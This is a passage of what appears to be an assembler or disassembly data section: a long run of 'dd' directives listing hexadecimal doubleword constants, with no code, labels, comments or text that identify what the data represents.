0DE81327Bh, 2B1F6BFCh, 0E1FF9C6Ah, 79AC2E4Eh dd 0BEA6BEB4h, 499BB9A0h, 0ED25A70Eh, 2576C830h, 7F2F09F5h dd 0FA7865E7h, 5CF89FDFh, 0B1CB1641h, 392E08D1h, 0F129C6BCh dd 99FE2FD0h, 0E9EAB40h, 0D8C900D3h, 0ADA8F896h, 0B827315Dh dd 0AC1363A2h, 0A5123AB3h, 0B5EBB80Fh, 29A050F6h, 0BB00D71Ah dd 3122183Ch, 9EE1FFF8h, 0A300DCF2h, 11C8274h, 9F4230BEh dd 0CB54B092h, 5D2F2381h, 282E824Bh, 6FD26FC9h, 7D8DA5B2h dd 0D1ED3A1Ah, 0B95CC5B8h, 0C5F925A2h, 4D1A1AB1h, 0DF0082D1h dd 34611F01h, 0F8D00E1h, 3B7FF8D3h, 79167562h, 4F1260A4h dd 208D8DB4h, 3AA31FBDh, 11571ACAh, 41FC29E0h, 9119970Fh dd 0F667ADF3h, 0F7816031h, 1525DAECh, 0D592423Eh, 0EDD00BF3h dd 0E6E14A67h, 4588389Dh, 298A827Bh, 0DBC7C00Bh, 1552B59Dh dd 8BAAB83Ch, 55611369h, 0DC9F7564h, 935CCE43h, 0E054A690h dd 24D94D5Bh, 3A9EE2A9h, 0B4761BA8h, 5B4340DEh, 0DF1F36B2h dd 24C04432h, 0CF9952C6h, 0D26800F5h, 0BF79E026h, 0C0256292h dd 2D40C04Eh, 0B4FF7C25h, 0D814DCFCh, 77E9BDA3h, 5E9D234Bh dd 2B23803Bh, 5C95282Ch, 0E7DC269h, 66416724h, 447FAFBFh dd 0A4DFFFE7h, 0D6ECF980h, 0F56C9509h, 4E4E5C67h, 4130AA48h dd 852F79B5h, 0C9BD2302h, 49B41C08h, 3AFF00D4h, 37D13491h dd 8162E7A6h, 72105FEh, 85092289h, 7FDBA955h, 1691BFB5h dd 86627282h, 0A521F97Dh, 8448E17Eh, 557AFA09h, 1B791310h dd 2D53F082h, 6D561F33h, 14056142h, 2915F680h, 0E09C6880h dd 0B3DD58AFh, 4920C8CEh, 5FDACA66h, 63E46095h, 22702503h dd 310CB466h, 97160DB5h, 72C70D81h, 6086906Ah, 0C190509Ch dd 0B96E0C45h, 1202969Ch, 0B790612Ah, 123F80CBh, 5A61CD90h dd 0CC6B612h, 17B2AEB6h, 2C710B30h, 8C3D50E6h, 0DA0A5161h dd 0D9F35B5Fh, 0A867EDD3h, 2D009869h, 69A21365h, 0D5542EE5h dd 0CE2D4771h, 54EC6EEDh, 0B5D4FAD6h, 58C0609Bh, 90A4DF2h dd 75765697h, 42DD9E2h, 0A396ACF5h, 0A91FECEBh, 1DDD66BCh dd 0A15B2B7Dh, 2AFA9813h, 199E8099h, 5C0C9991h, 8CF87FCh dd 0F4B10E00h, 9300297Bh, 0B75A47Ah, 499BB7Dh, 0EEF06706h dd 0C1A9AC26h, 0E91B529h, 602B9C6Ah, 8EF6811Dh, 0BB125EC0h dd 2FF3C317h, 0ADFB610Bh, 0FC181559h, 5F50C827h, 9E1703A0h dd 7B004742h, 36C3EF2h, 2AC9837h, 0BC35E67Ch, 89DD9CA1h dd 0A53E5EA1h, 9DE7AFCh, 80141FCEh, 0EB528FFFh, 0F8377F17h dd 7A4CA7h, 0DF33DE11h, 20EAB8A9h, 24BBF85Eh, 0D36BA8C3h dd 3D8000E8h, 0E0FB8783h, 0FC865D27h, 0AE5F64EBh, 25AD4C71h dd 0D2FDA27Ah, 0AEA8AFE9h, 14476500h, 9F8395C8h, 0A24C9580h dd 2D598D10h, 6C032C53h, 0A688B062h, 0AA97B2A0h, 0F561AE1Dh dd 0E701C757h, 0B313FE9Dh, 0F784162Bh, 80A1B324h, 0DF38D1Dh dd 6F1A5163h, 57226AFEh, 31C5FDD8h, 112B2951h, 64AC1FC2h dd 0C525E590h, 0A71A5707h, 4D47D5Eh, 0BD958915h, 0A2D2AC2Dh dd 0EB28230Dh, 1ED3D5B8h, 16D99001h, 8E5E70F9h, 0FBD3242Bh dd 0E91F186Fh, 58CB4701h, 0A7A74A94h, 0CC958CD8h, 40BB3FC5h dd 237FFB4Ah, 7C2D4B05h, 56F4AA29h, 9D230953h, 84D41631h dd 0DC50FE42h, 8FE16024h, 810076B4h, 67EEF362h, 0F363E2A8h dd 2658E3E8h, 820A9EB1h, 2AA99D2Bh, 5635F95Fh, 0F8212205h dd 0DC94208Dh, 82D3C4A8h, 1C57195Ch, 2784B435h, 1CDEF376h dd 0AE5096C6h, 0AB90A89h, 9C8C867h, 5959FC36h, 0D84D9CA0h dd 8C15B863h, 5B363725h dd 89F981BEh, 3A2211BDh, 5A8911A3h, 0F6C2DCh, 3472FE9Ah dd 8B6C26F8h, 499D8911h, 0B261FE4Bh, 0BB140F67h, 0B15F9B6Eh dd 0F57830B3h, 0AEA3125Ah, 9D2960C3h, 0FCD590E5h, 0E65AE961h dd 95F4B1A1h, 55A095A9h, 6DDB80C1h, 3B6653B5h, 0A80CB677h dd 0CF0971Ch, 5B9504F8h, 0CCF77A22h, 0EC0497F2h, 0EDB7EF1Dh dd 1C0C36B0h, 85FF6B01h, 0E39AF4AAh, 75FD937Fh, 0E6042784h dd 0A8DD8A04h, 10EC4BC6h, 6E219110h, 0C0DE80Ch, 5FEF9061h dd 0DB20879Ch, 3B8038E7h, 76C20253h, 705B5D02h, 0B52DA07Fh dd 14C6950Dh, 12062FB7h, 0ACBC05FDh, 63F43900h, 0F6ED3B20h dd 77744B5Eh, 0BF141481h, 202162DDh, 0F253D53Eh, 530A887h dd 0CB2266B1h, 0D2CCBE2Eh, 91FB4AB3h, 0F17D98Fh, 1056A829h dd 91B24E32h, 1B4CEA00h, 47AEF8ECh, 24D81700h, 77552CE0h dd 2DF42DB3h, 6F46E54h, 8F01EF51h, 0E44B6D4h, 0C2810F60h dd 552B6520h, 0BA14F82h, 4A40FB92h, 501EE23Ah, 0CD25DE8Ah dd 0B2C761h, 21190EC4h, 522DC090h, 80C051E7h, 0FBB422D9h dd 1F00889Fh, 0EBFE256Eh, 1F3C6F7h, 366A9772h, 6EA2B707h dd 10331398h, 1230899Dh, 7AC6EE9h, 0FE60AE1h, 5DC11688h dd 7C5A12C2h, 8A339BC0h, 3B059E4Eh, 88DD8373h, 0D0057AF2h dd 0F84C7FB3h, 82EF1249h, 594EB909h, 0CB899D1Dh, 0D5F40475h dd 0B2B1A4C0h, 6A860044h, 0A8A1101Fh, 604F50ACh, 0C3C332ABh dd 0D169EC74h, 0D0DE855Dh, 9EBBFCE0h, 0B29BC24Eh, 956974BBh dd 0B896A96Fh, 0CE7B0483h, 81DB8B2Ch, 2B26B624h, 9EEF5824h dd 0D2EF800Eh, 9F03F36h, 0A1895216h, 7A2370E1h, 0B9A4B5A7h dd 0F7D38030h, 0B22A29Eh, 6D55822Fh, 15402A7Eh, 4BFCBEh dd 0F60C5023h, 2C18A97Fh, 0DDF9AD1Eh, 4BBCE17h, 0E17E139h dd 4CA0325Bh, 0E90972Ch, 0AB951AD9h, 84BC3D84h, 0AB1F5B8Eh dd 6A9940D2h, 0D6E9C271h, 78BFDCD2h, 40F29C13h, 0CB597134h dd 0B625FF24h, 5F630518h, 0AD8D1201h, 0B24C7018h, 28000DD3h dd 38723A16h, 0B89DCABBh, 0CF91555Fh, 254DC7E4h, 816C4A04h dd 558A01F2h, 0AD88F651h, 824A2516h, 0D525ACDCh, 92E35718h dd 0C9773B02h, 567FD780h, 2FDA9184h, 83045652h, 0F7818DB3h dd 8D87FF0h, 0DB06BA27h, 38B58094h, 0F8F6F9B4h, 3E925F5Eh dd 0BC66D5C1h, 160E5BEh, 9504D5BDh, 0C6029D92h, 537F243Dh dd 73BF01CEh, 6A7E53FFh, 0D510F8A2h, 5F528720h, 0E2BFD1A5h dd 77E91248h, 0A12219B2h, 4438A0B0h, 0C4A8CF4Ch, 0B1FDE512h dd 0B5726095h, 7F0CD527h, 0BF611CB0h, 839B0F0Dh, 56C22C62h dd 510D919Fh, 93A93B24h, 0ED16E14Ch, 0C011AD17h, 52CDBE60h dd 10124C7Ch, 162FC148h, 1D11ACFBh, 0DA68BB02h, 0B8D55F0Bh dd 4265BD14h, 2A66410Ch, 64FB9C60h, 8DB7BD07h, 0B372F781h dd 0B5526B01h, 74A9891Dh, 75FF65Ch, 0E229CF6h, 86E9802h dd 0E0479775h, 0E2104883h, 0A0062588h, 4105CD4h, 11D3B909h dd 0A5456D11h, 0F1C24291h, 0D10F04B1h, 13728058h, 0D8FF1631h dd 93055437h, 0FC59DEF7h, 0BDC05BDBh, 8F624516h, 0AD232F3Bh dd 8188532Dh, 2BE0CF80h, 58B82AD2h, 0E206C7F0h, 0FD409328h dd 7F0CE527h, 0B1D5BE32h, 0A8E0DA77h, 7C1F4C2Dh, 17D5F604h dd 4E6BAB61h, 0AE031723h, 9F3DCDAh, 2FD9E356h, 892DAA76h dd 77EF7F64h, 8DAC8FE4h, 9EEC6FADh, 4A01A397h, 0ACD6DEFCh dd 0F32D2553h, 2047D16Bh, 5F6E1F9Eh, 0C2C1C5ECh, 79126CECh dd 88A8B329h, 17E3A54Bh, 0DA192C38h, 69B9C2ADh, 47E28050h dd 955D97DBh, 266AF9Ah, 0C74808E0h, 0A2DD0103h, 669CD81Fh dd 0DF80C26Ah, 6F54E06Ah, 9C04C350h, 0C100F436h, 0EF0B0FB5h dd 11F48E5Bh, 4E699D01h, 0A75229FEh, 0DEF9F46Ch, 0CD1CB4FCh dd 0C98989BDh, 2775FB2Dh, 5B64FBFEh, 0ACA8E694h, 824F31A3h dd 20BC7DF9h, 6A60EAA1h, 30004E6Eh, 6FD3D4FDh, 21776162h dd 77E01B4Eh, 0EC094AF8h, 62A59F79h, 2C961E3h, 2B1AB311h dd 96EDF17h, 0A38E9001h, 300583DBh, 1A4B3D20h, 8AC8008Ch dd 54B7AE46h, 608900E0h, 5E24DE48h, 85661A09h, 0CBB1FE1Bh dd 0F506CA7Dh, 0AB0A1E85h, 95C19274h, 42A8FC9h, 0A16E2681h dd 58FCAD6Fh, 3537B54Eh, 0F6398E00h, 2623C802h, 18FA527Fh dd 685B8169h, 0E3A4C901h, 4AB35349h, 3673B42Fh, 0CAFCA73Dh dd 0D772488Dh, 4FB6B500h, 68B72C9Ah, 0AB7D7B00h, 67BFA507h dd 91251363h, 5B06FA0Dh, 76B1C01h, 45A4CB81h, 0C35B292Bh dd 0CA215F27h, 2F0A810Fh, 0BF021FCBh, 75E96E5Ch, 0D381F7A0h dd 872538A1h, 55D56A1Fh, 8E7830DBh, 0B9B65E1Bh, 1A09C469h dd 0E32CB6BAh, 4908871Dh, 0BB2645Dh, 4A1CDDAFh, 0A217B664h dd 4500876Ch, 0D709D2C8h, 6A291210h, 2B08E168h, 61E8C3FDh dd 2DB4FC00h, 87D067Fh, 0D7B7A223h, 2E56AAB2h, 0F4F64726h dd 0C48417BBh, 0F69817CBh, 0C66AF05Eh, 0B80716C8h, 0AD6184A8h dd 7F0CAD43h, 96A8015Bh, 0FAD9DC88h, 0DD2371h, 0A3EE8EBh dd 966915Ch, 0B3A9D802h, 877E2A84h, 0AB08B449h, 0C3096A22h dd 510F8426h, 4379D65Dh, 57965F58h, 2AE50D3h, 9673E9h dd 0DAC0EE22h, 0E28BFC7Eh, 0B53B0088h, 6D70BE41h, 97B696DCh dd 0BA1E4DCh, 5278CB80h, 0FD690956h, 97567F32h, 0F6EBF62Fh dd 0D3003770h, 7AE1CB9Bh, 0B78F94FAh, 0F068FDC0h, 0A1FD1414h dd 0AFC74AD4h, 5E21EFD1h, 76899F44h, 572BA835h, 0A97AEAB8h dd 0B1646F01h, 7FF5BD72h, 0BFCA1902h, 0FD114116h, 6861C552h dd 3B3DCF9Dh, 2CF2905Fh, 0ADFD820Fh, 9293B0FFh, 0A9805A32h dd 7AFB4A05h, 0D874005Ch, 1C80F15Bh, 93E3129Fh, 2E6DA354h dd 25108529h, 4B21B25Ah, 0EF2974BFh, 95892921h, 5BCEF46Eh dd 4DB614Bh, 0C79E997h, 1B01830Fh, 0B867B5F5h, 2DA1103Dh dd 0D512DA48h, 88E6E316h, 912AD24h, 406AD977h, 0C1DEAF17h dd 735BA200h, 7CD2F381h, 0A32AFB09h, 7DEF1004h, 6FE9D7EEh dd 0EC0BDFA8h, 22AEA67Ch, 290C21BAh, 85C1C756h, 0C06076Dh dd 5909612Dh, 3B62CD8Bh, 6BBB3941h, 0D14B17F4h, 60271132h dd 167B8DFh, 8D8B8024h, 569D09F0h, 0B0BFE014h, 2C4BB11Eh dd 19AC97FDh, 0E9DE028Ch, 49300B62h, 9998140h, 698FF99Fh dd 6750E273h, 0D7461860h, 1C41D607h, 852F0B81h, 0A270AA69h dd 0B7CE781h, 9657A4C3h, 0DE400CF8h, 5D1D17BFh, 2E80EEBCh dd 5A96E4B3h, 57E7C5F8h, 0EF7FFFD8h, 0C2A27E03h, 0D1A8C9F1h dd 5198EB59h, 94C0112h, 43666BFFh, 27E8092Fh, 0ACAF07ADh dd 5CCA7E02h, 3185C3E0h, 15C4138Ch, 9666E6EFh, 0C0A831F9h dd 36C78900h, 65DDCE1Ah, 50454B34h, 0A25AF7E8h, 0B51277B8h dd 732216E5h, 63582999h, 27D3797h, 6B408742h, 0BFB97A7Fh dd 0B5B734EEh, 3BE70036h, 0CBEE4F4Ah, 80AB6CE9h, 0D0AAD96Ch dd 4DD7005Ch, 13CC381Dh, 0F4974BF9h, 0BB6601E4h, 3A5BB18Dh dd 0E7C0B4A8h, 3E40C32Bh, 0D049F3BDh, 0FB02118Dh, 87F3511Ah dd 6140E1EBh, 6C8AAA15h, 1DA3AFE5h, 0B85E4C13h, 0B4A61704h dd 1288D2E9h, 0ADE6A480h, 724BA5DBh, 0A861002Ah, 1C42C56Ch dd 0B824F0C1h, 7A27A59Bh, 965B0211h, 579719BBh, 0F21AF875h dd 21A10BBFh, 0DD027BB7h, 6892BE16h, 0F5E27D56h, 5EBD1E20h dd 54B72D27h, 0D966A605h, 234001AAh, 911C55BDh, 720008EFh dd 659D1137h, 504D0FF4h, 0DB2F34DBh, 17533AA8h, 73FFA900h dd 0F5786B87h, 3E5D4802h dd 0FE75B0A5h, 0F61AF35h, 8844345Bh, 6F191417h, 0DAE832BBh dd 0FA805B55h, 11918277h, 0C14EF518h, 0C88044B1h, 28B634C0h dd 0BD2B0019h, 0D918ACB4h, 7EB54A8Eh, 0AE8D65D4h, 0AD5B77A0h dd 6019444Eh, 0E12BB20h, 606FCC54h, 75E60433h, 56051208h dd 0A1EE61D2h, 0D352E8Ah, 0C9C15004h, 0DBA708BCh, 0BF6CE7Eh dd 0FC8DC103h, 0AAD92405h, 9A5A388Eh, 9211824Ch, 40E9DE91h dd 654F0725h, 0B1536E24h, 55F6DB02h, 0C0BDDEC6h, 0A0C361B4h dd 7AAEED4Bh, 9E605E78h, 90B24DAAh, 1D29205Ch, 5837E925h dd 95E49577h, 4D18800Eh, 9CFD20A8h, 31CF95h, 76BE4F1Ah dd 0C2FCE75Bh, 120EB90h, 0B8C1EC03h, 0B52CE66Eh, 50971853h dd 0E1C4B3FDh, 0FE5B0917h, 4CFD6B2Ah, 18449534h, 0AE06DE1Fh dd 38B10A03h, 73D0F970h, 0E4DB29E9h, 23836AABh, 65F10416h dd 8736F8D0h, 0F70B5F3h, 1959FFh, 67785D0Ah, 0F7D77642h dd 0B479206h, 956E5627h, 1315E960h, 1EB07B9Fh, 0FCDCC043h dd 0D6047B61h, 0E026F400h, 1EF9CCDEh, 0FD6BF93Eh, 599C4073h dd 340B0842h, 3AFB07F7h, 35D27D7Ah, 8B43F90Ch, 4FA960E0h dd 3F3FFF07h, 7555605Eh, 171ACD16h, 48BA8EBEh, 0B190F995h dd 50B8007h, 0A3EE17FDh, 0C2DCFB00h, 71E680DBh, 75F43B7Bh dd 0BF51AD80h, 35CACDB3h, 6002959Ch, 5B16880Fh, 0A5B9802Ah dd 47231031h, 512F200h, 0D45C5FDEh, 0E4D501F0h, 61DA8A91h dd 0D16E2B90h, 13AF4200h, 0C56A6452h, 484A7030h, 8A02810Fh dd 9929D00Bh, 868BDBBDh, 7B445D91h, 53BD309Ah, 979897Bh dd 1879FC7Bh, 5A094018h, 2E5ACCFh, 1BD9B6h, 3160D1FFh dd 2F406BB0h, 0C985710Bh, 1D16183h, 23F9DB44h, 0E4954DECh dd 0DE2009Eh, 7D3364E1h, 0AA005153h, 0F2FC7718h, 5A6AF9C9h dd 82259B02h, 0FD2C55FBh, 0C1292271h, 937CE780h, 16A85BFh dd 66DB989Ch, 0F0C6A624h, 0BB9AD8C0h, 90D7F813h, 0C8767C30h dd 0BBB3857h, 496E3B81h, 7032219Ch, 523A5F80h, 21F2D858h dd 861600E9h, 64A044C4h, 0D430C01Dh, 1F2003Ch, 652C10B4h dd 6E90615Bh, 2069A0C7h, 6D97FE27h, 601D64F2h, 2DDE07Bh dd 48AC84D7h, 60FF50EAh, 8019E1F5h, 569F1FE9h, 313E5949h dd 0F0F67630h, 32536D8h, 21A966F6h, 0B3B9EFB5h, 0B8B429E0h dd 9FEC0E10h, 0A10B75F3h, 0F9032CC4h, 79289608h, 5AB89091h dd 0AD820397h, 53A3867Fh, 31EA2CA0h, 1344957Ah, 0EFD109BBh dd 4DD355F7h, 1707C988h, 81A59050h, 304A9BEBh, 18E24CE6h dd 7E8D7630h, 60BA025Eh, 0F199D01h, 0D1EB2275h, 0FC091224h dd 46DC5356h, 89F83915h, 0FFA7DB80h, 0DA42DEE6h, 0C5A8FE5Dh dd 0F9B56074h, 0CA589DC7h, 49C8018Eh, 0DC111C0h, 0D96F034Eh dd 7877B407h, 0EF8101A1h, 467DE080h, 3AB1B197h, 36F2BB15h dd 69DB7100h, 0B0DC2D2Bh, 16D03AE1h, 44E9364Eh, 0AE012E13h dd 4BC085DDh, 0AD7FEA47h, 82ADCF19h, 0F770E661h, 0F99555CCh dd 0BD23C197h, 0FF99A781h, 0DA7DF718h, 0F86F090Fh, 3AC1C0DBh dd 5F08C243h, 0E796C8B9h, 0A5F3CF00h, 0E405E013h, 0F8A59781h dd 0A11FFCC9h, 522B9D23h, 3F02F1BFh, 0FDE2A912h, 2DD42B2Dh dd 28C0C164h, 4AF6A12Eh, 9619206Ch, 0FCFA9F60h, 4F9569Fh dd 0BCFD5FBFh, 952904E5h, 0F02716F1h, 8BE4DABBh, 6FC1D15Bh dd 4B8A7AE9h, 0F94E780h, 85A0F9B7h, 47554C50h, 0DD2F8ABCh dd 60076AA0h, 0D52CBD2Bh, 7C4F2526h, 7A1BB709h, 8A1544DDh dd 49E9D911h, 314D9C62h, 0F0F136C2h, 7B6DD789h, 0CB311DE5h dd 91F51AA5h, 0B8140484h, 821E88E6h, 170DBD33h, 0D09514D7h dd 330B633Ah, 1655519Dh, 76CE16F3h, 829BBA07h, 0AB4B380h dd 7673CB6Ah, 38D0F193h, 0FE604E5Eh, 61F84421h, 0B2ABB67Ah dd 4CDE6C14h, 3D304AACh, 0FF6B945h, 383F3D9Fh, 0ED122A00h dd 72E55827h, 44E9493Ch, 0FD0B04F5h, 0AE4AECCDh, 0F1928FB3h dd 899B2E29h, 0B23FDA84h, 0A3560010h, 0F52EF7E3h, 23A7FAEh dd 26216C0h, 0B97F2FFCh, 5CEE5FE0h, 7D532D24h, 0E4181851h dd 85748C03h, 9FD22B31h, 751CF552h, 6DAFE94Fh, 0EB41407Eh dd 657622F0h, 9ADB24C0h, 0B70DAA52h, 8977A37h, 76C21401h dd 0B202957h, 0B8214AF9h, 9ABEA4E1h, 1CECC151h, 31FC034Bh dd 9735BDE1h, 0E7801991h, 0AA05E64Ch, 56A0744Ah, 0E2608219h dd 4127FC17h, 39A54630h, 7249B529h, 42EAB4Fh, 40C9CA91h dd 917C4D5h, 2E09BD01h, 826D7355h, 0BE79B53h, 5ADCB0FEh dd 0D8C002FCh, 0F6C0BBBDh, 149D4543h, 334145A4h, 58CA5B40h dd 0DF24E648h, 0BC09697Ah, 58F76E75h, 9F007BA6h, 5C23F73Eh dd 2A1DA7B8h, 0D942CE4Fh, 7D3A6DEEh, 0B22C2573h, 0D507190Bh dd 2B696E9Ch, 591D82F5h, 71777424h, 0FD26A533h, 3304DFB7h dd 31BF8089h, 3ADF8B0Ah, 0D0CA6928h, 0FB188621h, 3135BA60h dd 9D94C4B5h, 0AA7168D3h, 0BB38003Ah, 5EE3D933h, 0E516249Dh dd 3A31FE59h, 0CB91E5A2h, 89C3FD4Bh, 55C906D8h, 3D905C23h dd 0C81737C1h, 24FD3FBEh, 0D9F26C0Eh, 0DB905004h, 0CCB8D363h dd 5DBF0693h, 0CEEA482Dh, 6482E000h, 0E4C6A368h, 9CCA124h dd 69383010h, 0EB5B3A0Fh, 5F5CFC12h, 5C1A4067h, 98FB74C5h dd 0C22CEA89h, 2BF9BDD7h, 912837D7h, 6FDE801Dh, 1ED7F907h dd 0D3A69B40h, 2F26A50Eh, 78A0AFE7h, 8F009DA3h, 82E2090h dd 9D0166E9h, 1B5D0322h, 206D5B55h, 1A0525D4h, 46DE0C5Ch dd 80680414h, 8FEA07EFh, 0F9767CC2h, 299D08C6h, 0FF605C8Fh dd 2F43B9D7h, 698BF4D1h, 1A2069F0h, 5F3DAA0Bh, 1C0016BDh dd 206F21A3h, 0C4714BD7h, 0D583048Bh, 5796041Dh, 0DF39D4ECh dd 80FCBA8Bh, 845FBA09h, 6040098Fh, 6C272CBEh, 5B170E7Dh dd 0E1F89661h, 70C381C7h, 0F94D4AF1h, 0E8619B97h, 18B38F3h dd 266863EAh, 2EE9A39Dh, 5AB87D85h, 0A180F58Fh, 0F49B7EB3h dd 146F5517h, 8C240DAAh, 5DC223h, 0F4BB668Fh, 585A25ACh dd 0E8D960E1h, 0B7BF167Bh, 99FD0B6Ah, 0F89F23F8h, 0FFC9059Eh dd 0F7858D2Eh, 803AE0CFh, 8B05BF7h, 76252CBBh, 6DC2317Dh dd 96E384Bh, 57B1BD0Bh, 0BB05E394h, 748AA28h, 9FDAA8E0h dd 5EDADCFBh, 2345C010h, 420282AAh, 0BAF0A43h, 52495C4Fh dd 0E9F8CE10h, 0C48B214Ch, 0B3BA22CDh, 9E40AF74h, 58539FFBh dd 493FC70h, 0BB9D773Fh, 4809EBF9h, 0C4F37121h, 3E8AB112h dd 0AF8441DBh, 23EFC166h, 3FEE6607h, 0B7BC001Dh, 0ECE253F8h dd 2D89091h, 0B9399B49h, 0DC96FD68h, 0B77DCD62h, 7D6E7F30h dd 54135D2Fh, 2C93DE3Ah, 0D466CB80h, 58E0EE02h, 0DE3A4516h dd 0D391FD4Bh, 75F9EF37h, 0B24B246Dh, 6976552Dh, 192FC49h dd 49C0CD83h, 0BCCDDF5Bh, 8AFC4B4Ch, 6B49BFA0h, 5B612C2Dh dd 18165917h, 7DCC3102h, 2F26CD6Ah, 1D238D6Fh, 33970100h dd 9C57046h, 0C0A7BE8Eh, 46D6DC5Ch, 0B0F2001Bh, 8F324078h dd 0AB084B7Fh, 28B94924h, 0E9D7AD4Ah, 60011728h, 88CCDF70h dd 85302057h, 3F5F8AA9h, 0EE588BF6h, 7082C227h, 205EC4A2h dd 7DAB725h, 0A2F5ABDBh, 1D5E493Eh, 0C4FA0364h, 349DFFE5h dd 0D22F3461h, 0D14F6A18h, 9C9B754Bh, 2C8DEA12h, 8E7C3429h dd 2036AD80h, 43029A54h, 0FA8B3CE2h, 0EDEDDD5Fh, 0B7056C69h dd 608111DBh, 4F98D29h, 0D5134C7Dh, 4AABE218h, 0F26125A1h dd 0CAF6E2Ah, 58CEC658h, 0B92AFD1Dh, 0AC17B8FBh, 0ED0F09A5h dd 95FFB442h, 0EE77495Dh dd 3274956Bh, 0C6D78041h, 723A282Fh, 606CCF97h, 0F427C9D8h dd 7F4F4104h, 1F4013E9h, 9F8F5294h, 0B1803C0Fh, 0BCEC20D6h dd 93FD78Eh, 22E4506Bh, 0C8654AD7h, 97C58A81h, 8FF2960Bh dd 0F0869656h, 16C9931h, 0AE877A4h, 2A8BB946h, 6EADB5A9h dd 5E180B62h, 0BA66A40h, 375721A9h, 0C0E0AE1Fh, 89DAFD86h dd 4E98B900h, 0D1B7BBFCh, 9D6D4030h, 82B7135Ah, 12F98924h dd 0E22DBC21h, 5D3E2C46h, 0AF21A4Ah, 135DE893h, 7ABEC6A3h dd 0B67F12C1h, 0A75E5CA2h, 6D017C56h, 28AFD17Ch, 0B32A7DA8h dd 8BFF88D3h, 0CECDC18Bh, 52AC06C0h, 51250057h, 3D6D4DBBh dd 59955F1Ah, 250254EEh, 0EA8CB289h, 0EBF12Ch, 3AE0E2FFh dd 7725191Ch, 0FA94490h, 32EDBF6Bh, 0AF1800D2h, 7638872Ah dd 0D5926D01h, 9050D80Eh, 1476E3Fh, 5D933AF1h, 1E607707h dd 6A3B251Bh, 0E778F153h, 75060147h, 11B0F45h, 22A96B03h dd 2DD43EBDh, 0EC95018Ch, 2143132Fh, 0A033E98Fh, 509BBB66h dd 2679D485h, 0A5DC0806h, 0F9580229h, 33EB810Eh, 9021E1D7h dd 852BA9B3h, 55F6FB95h, 0D4CA4E0h, 55D9B5Ch, 0A603CDCAh dd 2937ABAh, 0D0695EE5h, 7ED0DDC5h, 0AD5548B5h, 93EE950Dh dd 4555CDA2h, 0EEA400FEh, 2C273152h, 59F1B209h, 92A6714Bh dd 8932A889h, 1C07FEFFh, 36572741h, 9F86EC35h, 1C228918h dd 2B026A06h, 9F4F0DBDh, 6EDAF2E1h, 51C0F930h, 0B12900F9h dd 6D69C59Dh, 4602807Bh, 1B65EA77h, 7134D390h, 5D206FD6h dd 0F6631758h, 91130044h, 7D8247F3h, 1B4AB3ACh, 19ACBAEDh dd 3670BF8Ch, 0F1CD2000h, 46BE70BFh, 18109F14h, 0ADF4D4F2h dd 0AC19E307h, 4C80980Fh, 5E912BDDh, 5B9AC823h, 0E795E97Eh dd 6830479h, 50017A08h, 8F0F495Bh, 3CDC6E1Fh, 8C4400B0h dd 108220D4h, 9C00F96Ah, 0A4533AB1h, 7C11992Ch, 0BFEC986Fh dd 2A5FB249h, 6BAD8BA9h, 6D8F1DF8h, 6EE1E43Fh, 66BD3DC0h dd 0CA004FE6h, 32DA3CF9h, 7685D9F1h, 4AEA1284h, 5857E378h dd 22BC4AB0h, 0C49DE94Ch, 520DB658h, 9F1923EFh, 47170C88h dd 8D0F600h, 0F86DD4B7h, 5F5716C9h, 15CFAA5Bh, 420870D3h dd 1F0AB5D1h, 9515B7F5h, 0C6561D12h, 0CE889ABFh, 4211C17h dd 0EEADF433h, 1AA176C1h, 6289CA2Bh, 5D165D1Ah, 891F135Bh dd 5E2C2109h, 1D467E21h, 56182300h, 0AC80E1D1h, 0A5C84401h dd 26299589h, 21D4227Eh, 0F2BB5104h, 4B967FB8h, 2D80F049h dd 0DD6F0BE1h, 0C5D38A40h, 779B0E0Fh, 0FAB8C0A9h, 51B5242Dh dd 3BCB4613h, 9124F866h, 25B070A1h, 405F1CB7h, 97FC8A64h dd 31B23625h, 1CE5A7h, 976CC380h, 1AD53309h, 0E9C67F38h dd 2CA5B510h, 85BD2381h, 1ECC2B1Fh, 9951699Dh, 24BF2FFFh dd 0B242411h, 0DA5231A1h, 0E9F8D10Ch, 12BB616Bh, 0FAD3A0C0h dd 4E49D607h, 0B1294403h, 242E308Dh, 5D2812Dh, 7799170Dh dd 779664A2h, 80AAB8D5h, 0E94E12EFh, 0DDD3C839h, 0CF7254Ah dd 1912FB4Ch, 221DE247h, 64BB0420h, 0AA58B5B8h, 0DAF4B1DDh dd 560C8210h, 6425CF88h, 211FCCE2h, 1AF186C4h, 7C02D618h dd 2C6BFB70h, 4B705636h, 0F2F7B075h, 0A9FE38F3h, 5BAA1285h dd 0D4755D29h, 9B0E1BE9h, 805E4320h, 8499279h, 609FEC6h dd 7E3611CEh, 6FA99EB6h, 0B41314F5h, 0E09FD403h, 865909h dd 51028955h, 1097B9CBh, 98BDBFh, 84301028h, 4B0A4927h dd 0C40CDABEh, 4BBCD512h, 70B760C2h, 5C018DC6h, 0E89CDAEEh dd 4BF069B9h, 0BD98021Eh, 0FC618E93h, 253D06E1h, 0D1A72A9Fh dd 5AE5F0A0h, 29327490h, 62D24D07h, 0FEFF54E1h, 0A1001B46h dd 8876EDBBh, 855E5B3Ch, 0E781AE41h, 0FD399756h, 3190C3B9h dd 77125B26h, 8C04F9E9h, 0A2BABCE6h, 0A1B53BFDh, 3E384A2Eh dd 617B1825h, 0FFEEB789h, 0F369E097h, 0BB171228h, 1AF9FE04h dd 0AC198852h, 0A3418007h, 36E0DDF4h, 234C62Eh, 456483ECh dd 0B27C22D8h, 0E8FE97DCh, 0A074052h, 0C294956Ah, 6FB7915Bh dd 0D25BA3B0h, 0B58ECA03h, 0DE9A6h, 0F3FD091Fh, 0EE514F53h dd 0B90C86FCh, 8A43686Fh, 0B88F3817h, 40FE74Bh, 0E5D5333Ch dd 7D17DE1h, 0F105BB04h, 70AE2DA1h, 0E1FFFC3Bh, 25CAB7BFh dd 0A4376675h, 7B4500C2h, 0EBA16578h, 0D9024C90h, 745243CAh dd 50125CB3h, 0CF9F04BCh, 13D140E7h, 0C25A866Ch, 0B3C4D5B9h dd 8109AF03h, 0C23C711Ch, 1E53049Ah, 0BE261A00h, 0A9AB8Fh dd 6515CD7Ch, 28A058FCh, 7163D304h, 0D0EC4F2Eh, 32C55B25h dd 7D533B1Ah, 899583D8h, 0C069CD2Ch, 38396885h, 35EDA802h dd 5DBD3171h, 3958C9A9h, 24837B7h, 0F55E6A0Fh, 15990840h dd 0E26FE695h, 0E17B9D01h, 30B3C0D0h, 381506E8h, 0AE182010h dd 316CB83Fh, 2B5B810Dh, 1523456Bh, 0F2E8361Fh, 5C745C25h dd 0AD4DE914h, 